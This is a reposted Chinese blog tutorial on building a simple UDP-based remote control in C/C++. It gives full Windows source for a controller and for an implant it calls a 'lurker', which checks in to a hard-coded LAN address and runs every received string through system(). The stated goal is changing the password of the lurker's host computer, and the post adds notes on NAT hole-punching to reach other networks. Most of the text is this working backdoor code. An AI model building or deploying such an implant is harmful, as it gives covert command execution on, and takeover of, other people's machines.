生活随笔
收集整理的這篇文章主要介紹了
C/C++轻松写基于UDP的远程控制
小編覺得挺不錯的,現在分享給大家,幫大家做個參考.
思路:
打開socket,服務端輸入字符串,客戶端接受后運行cmd,從而修改潛伏者所在電腦密碼
局限性:
如果要進行兩個不同的局域網通信就得要一個公有IP進行轉發,或者打洞。
解釋
1.局域網:每一個路由器(家庭版)劃分廣播域(思科或華為的設備每一個端口是一個廣播域)---這里要說明下,其實家庭版的路由器應該叫交換機,本文用家庭版路由器代替
2.打洞:因為路由器有安全功能,不能讓外網的數據訪問內網,但如果內網主動與外網建立連接后,外網就可以訪問內網
3.UDP:不可靠,會丟包
4.相關協議:NAT和NAPT
我們這個是簡單的內網通信,所以不用考慮那么多
下面不再講解socket具體函數實現,直接上代碼
服務器:
SocketUdp.h
#ifndef _SOCKET_UDP_
#define _SOCKET_UDP_#include <stdio.h>
#include <WinSock2.h>#pragma comment(lib,"ws2_32.lib")class Socket_udp
{
public:Socket_udp(int port);~Socket_udp();void run();
private:int m_port; //端口號sockaddr_in serAddr;SOCKET serSocket;sockaddr_in remoteAddr;int nAddrLen;
};Socket_udp::Socket_udp(int port)
{WSADATA wsaData;WORD sockVersion = MAKEWORD(2, 2);m_port = port;if (WSAStartup(sockVersion, &wsaData) != 0){printf("Socket_udp打開失敗!\n");system("pause");exit(0);}serSocket = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP);if (serSocket == INVALID_SOCKET){printf("Socket為無用狀態!\n");system("pause");exit(0);}serAddr.sin_family = AF_INET;serAddr.sin_port = htons(m_port);serAddr.sin_addr.S_un.S_addr = INADDR_ANY;if (bind(serSocket, (sockaddr *)&serAddr, sizeof(serAddr)) == SOCKET_ERROR){printf("bind連接失敗!\n");closesocket(serSocket);WSACleanup();exit(0);}nAddrLen = sizeof(remoteAddr);printf("服務器已經開啟!等待中!\n");
}void Socket_udp::run()
{char buf[1024];char sendbuf[1024];int n = recvfrom(serSocket, buf, sizeof(buf), 0, (sockaddr *)&remoteAddr, &nAddrLen);printf_s("%s:%s\n", inet_ntoa(remoteAddr.sin_addr), buf);while (true){printf_s("輸入命令:");gets_s(sendbuf);sendto(serSocket, sendbuf, sizeof(sendbuf), 0, (sockaddr*)&remoteAddr, nAddrLen);}system("pause");
}Socket_udp::~Socket_udp()
{closesocket(serSocket);WSACleanup();
}#endif
mian.cpp
#include "SocketUdp.h"int main()
{Socket_udp socket_udp(9999);socket_udp.run();return 0;
}
潛伏者
Socket_udp.h
#ifndef _UDP_CLI_
#define _UDP_CLI_#include <stdio.h>
#include <winsock2.h>
#include <windows.h>
#pragma comment(lib, "ws2_32.lib") class Socket_udp
{
public:Socket_udp(char ip[128], int port);~Socket_udp();void run();
private:int m_port;char m_ip[128];sockaddr_in sin;int m_len;SOCKET sclient;
};Socket_udp::Socket_udp(char ip[128], int port)
{strcpy_s(m_ip, ip);m_port = port;WORD socketVersion = MAKEWORD(2, 2);WSADATA wsaData;if (WSAStartup(socketVersion, &wsaData) != 0)exit(0);sclient = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP);sin.sin_family = AF_INET;sin.sin_port = htons(m_port);sin.sin_addr.S_un.S_addr = inet_addr(m_ip);m_len = sizeof(sin);
}void Socket_udp::run()
{char sendbuf[1024] = "潛伏者上線";char recvbuf[1024];sendto(sclient, sendbuf, sizeof(sendbuf), 0, (sockaddr *)&sin, m_len);while (1){recvfrom(sclient, recvbuf, sizeof(recvbuf), 0, (sockaddr *)&sin, &m_len);printf_s("%s\n", recvbuf);system(recvbuf);}
}
Socket_udp::~Socket_udp()
{closesocket(sclient);WSACleanup();
}#endif // !_UDP_CLI_
main.cpp
#include "Socket_udp.h"
int main()
{Socket_udp socket_udp("192.168.164.100", 9999);socket_udp.run();return 0;
}
注意:打包時要設置運行庫
下面是運行結果:
先運行服務器,再運行潛伏者,結果如下
服務器輸入ipconfig后
服務器修改潛伏者所在電腦的密碼
總結
以上是生活随笔為你收集整理的C/C++轻松写基于UDP的远程控制的全部內容,希望文章能夠幫你解決所遇到的問題。
如果覺得生活随笔網站內容還不錯,歡迎將生活随笔推薦給好友。